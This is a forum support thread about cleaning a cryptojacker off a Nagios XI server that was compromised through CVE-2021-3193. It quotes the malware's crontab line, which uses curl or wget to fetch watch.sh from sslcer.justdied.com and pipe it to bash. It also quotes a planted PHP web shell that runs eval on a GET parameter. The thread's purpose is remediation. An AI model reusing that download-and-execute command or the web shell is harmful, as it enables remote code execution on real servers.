Removing a Cryptojacker

[danielheaton]

Hi all

I've got a cryptojacker - presumably related to these posts https://support.nagios.com/forum/viewto ... 16&t=61473 and https://support.nagios.com/forum/viewto ... 16&t=61425 and the vulnerability CVE-2021-3193 https://www.nagios.com/products/security/ as I can see regular DNS requests out to sslcer.justdied.com.

I've tried the remediation script in these posts, but don't seem to have had an 'avalonsaber' directory, process, etc. - so I guess it must be running as something else.

I went for the nuclear option of a new instance, and new install, and restored my config backups, but unfortunately the cryptojacker has come along for the ride (presumably in the restored backups).

Any suggestions for how I can purge this either from my backups or original instance?

Alternatively, is there some way I can identify files which don't match the expected format so that I can remove those elements from my backup, and just restore the bits that are known to be clean?

Cheers

D

[gsmith]

Hi,

According to CVE-2021-3193 the remote code execuion is done by the "apache" user. You could
do a:

lsof -c apache

to see all processes and files in use by apache and try to validate them one by one. You might
have to set up a script to run "lsof -c apache" repeatedly for an hour or so to collect all the
processes/files.

You could also spoof:
Name: sslcer.justdied.com
Address: 185.183.84.197

By adding it to your /etc/hosts file like:

Code: Select all

127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4 sslcer.justdied.com
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6 sslcer.justdied.com

But my guess is he has an encrypted file of hosts on board so if he can't contact one server he will
go to the next.

You could also try dumping the three nagios dbs and then restoring them on a clean Linux VM (no nagios)'
to see if the malware is contained in the dbs or not.

BTW - how are you seeing the DNS requesrs?

Thanks

[danielheaton]

Thanks gsmith

Re DNS - We've recently started using Cisco Umbrella (which was how we found it in the firstplace) and to monitor it live I'm running wireshark from the box (tshark -f "udp port 53") and filtering the output for sslcer.justdied.com

No luck with lsof, but a ps -ef shows a load of apache scripts trying to download from the site, a few each of the two below

/bin/sh -c (curl -fsSL https://sslcer.justdied.com:8080/watch.sh||wget -q -O- https://sslcer.justdied.com:8080/watch.sh)|/bin/bash
wget -q -O- https://sslcer.justdied.com:8080/watch.sh

The connection to sslcer.justdied.com is being blocked by Umbrella, so that's fine, but I'm still keen to root out whatever is causing these to run, incase they're ever able to get through!

Is it possible to follow the trail back from a process, perhaps?

UPDATE: Sorry, really should do a bit more digging before posting!

There was an entry in the apache crontab (crontab -e -u apache) to start one of the commands - */20 * * * * (curl -fsSL https://sslcer.justdied.com:8080/watch.sh||wget -q -O- https://sslcer.justdied.com:8080/watch.sh)|/bin/bash - so I've deleted that and will kill the running processes now, see if it comes back from the dead...

[danielheaton]

Seems like it has stopped firing now the cronjob has gone.

Appears my firewall/Umbrella did their jobs in stopping the connection to download the second script from sslcer.justdied.com, so I think (hope) this is the only bit that needs cleaning up.

In the backup .tar.gz I can see the path /cron/apache included, so that explains why this came with the backups to my new instance.

Can't find any other entries with the offending site name (sslcer.justdied.com) in the backup files.

Are there any other files or patterns I should be looking for in the backups to check there's no other compromise?

[gsmith]

Great work.

You should keep monitoring the Nagios xi server(s) and keep an eye on what it is reaching out for. Even though the
CVE-2021-3193 vulnerability has been closed it makes sense to remain vigilant. Based on the traffic coming from/going to
the nagios xi servers you could create a "whitelist" and deny everything else. Probably best to create this list
empirically since we don't know what legitimate OS and Nagios xi connections are being made. For example, the OS
could be reaching out get a list of updated packages, or you may be reaching out to install a plugin from
https://exchange.nagios.org//.

I'll keep this thread open until I hear back from you, in case you have any more questions.

Thank you!

[dchurch]

This malware is a tricky one as it re-infects the crontab when it's run from the crontab. The disinfection script runs 100 times in succession in order to make sure to disinfect the crontab and prevent re-infection.

[danielheaton]

Thanks guys. Can I just check what the content of /usr/local/nagvis/share/userfiles/scripts/userfile.php should be please? My AV is flagging it as a backdoor, but I'm not sure if that's a false positive?

Mine is

Code: Select all

 <?php
eval($_GET['cmd']);
?>

[dchurch]

No file at /usr/local/nagvis/share/userfiles/scripts/userfile.php is installed part of the base Nagios XI system. As far as I know, Nagios XI does not use this file.

It should be safe to simply delete the file.

[danielheaton]

Will do, thanks!

[ssax]

Are you seeing any abnormal processes or new cron jobs pop up for that apache user that could be related?

Code: Select all

ps aux
cat /var/spool/cron/apache